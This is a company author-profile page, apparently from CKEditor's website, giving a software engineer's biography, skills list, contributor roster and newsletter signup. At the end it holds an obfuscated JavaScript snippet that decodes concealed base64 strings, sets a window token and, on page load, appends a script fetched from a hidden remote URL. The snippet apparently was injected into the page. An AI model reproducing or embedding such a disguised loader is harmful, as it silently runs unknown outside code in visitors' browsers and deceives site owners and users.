View all authors
Mateusz Gorzeliński

Mateusz Gorzeliński

Software Engineer

Statistics

Active from:

Published: 1

Expertise

  • JavaScript
  • TypeScript
  • HTML
  • CSS
  • React
  • Next.js
  • Gatsby
  • Node.js
  • GraphQL
  • Jamstack
  • API design
  • Automated testing
  • End-to-end testing
  • Git
  • GitHub
  • Web performance
  • Web accessibility
  • SEO
  • UX/UI design
  • Design systems
  • Writing
  • Technical writing
  • Documentation
  • Information architecture
Meet the author

Mateusz Gorzeliński is a gamer and school nerd that turned into a software engineer. His earliest memories are bound to electronics. Every time he heard the iconic PlayStation startup sound, he thought he was going through the portal to another digital galaxy (and was nervous if his disc would not freeze). The galaxy absorbed him back then, and after 20 years, he is still enchanted by it.

He was a strange kid who liked math at school. This math and electronics combo ended up in engineering studies about electronics and telecommunications. At the university, he could solve math and Boolean equations. There was also an opportunity to learn more about programming (micro-)processors and networks. He graduated and now can legitimately use phrases like "Trust me, I am an engineer" and "works for me."

Still at the university, he took an interest in web development and wrote a thesis about front-end frameworks. The thesis is most likely outdated now, like JS frameworks every 6 months, but his knowledge is not. After 5+ years, he still learns about web dev every day and puts on different hats while developing it. He designs, codes, and writes content for technical docs and blogs using Jamstack architecture and good old pen and paper.

If he does not work, he learns, hits the gym, walks, watches memes, consumes media and coffee, or thinks hard about cognitive biases. He might also hit the quarter-year crisis because he bought a carbon road bike to make trips along the countryside and is thinking about beet cultivation.

Meet CKEditor's contributors

Aleksander Nowodziński

Technical Leader, CKEditor

Published: 3
Dan O’Keefe

Technical Content Manager, CKEditor

Published: 23
Dominik Szczepaniak

Software Engineer, CKEditor

Published: 1
Filip Sobol

Staff Engineer, CKEditor

Published: 2
Filip Tokarski

QA Engineer / Customer Solution Engineer, CKEditor

Published: 1
Gökçe Tosun

Product Marketing Manager, CKEditor

Published: 77
Hubert Grzesiek

Senior Director of Product Marketing

Published: 2
Jacek Bogdański

Engineering Manager, CKEditor

Published: 12
Łukasz Datkowski

Frontend Developer / UX Designer, CKEditor

Published: 1
Łukasz Kujawski

Senior Software Engineer

Published: 1
Marcin Dusza

Senior Product Manager, CKEditor

Published: 1
Mateusz Bagiński

Senior Fullstack Engineer, CKEditor

Published: 1
Mateusz Pytel

Fullstack Developer / Team leader, CKEditor

Published: 3
Ondřej Chrastina

Developer Advocate, CKEditor

Published: 10
Paweł Wiaderny

Product Owner, CKEditor

Published: 5
Piotr Koszuliński

Director of Engineering, CKEditor

Published: 9
Roman Khudonogov

Head of Product at Tiugo Technologies

Published: 1
Szymon Cofalik

Principal Engineer, CKEditor

Published: 3
Tomasz Jakut

Senior Software Engineer / Web Standards Expert, CKEditor

Published: 14
Wiktor Walc

CTO, Tiugo Technologies

Published: 3
Witek Socha

Senior Technical Product Manager, CKEditor 5

Published: 1
Wojtek Cichoń

Senior Product Marketing Manager

Published: 14
Published: 50
Published: 40
Published: 5
Published: 27
Published: 1
Published: 1
Published: 20
Published: 4
Published: 20
Published: 24
Published: 1
Published: 12
Published: 3
Published: 7
Published: 1
Published: 6
Published: 7
Published: 1
Published: 5

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

contact_confirmation
policy
eventId

Input email to subscribe to newsletter

Subscription failed

Thanks for subscribing!

HiddenGatedContent.

window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });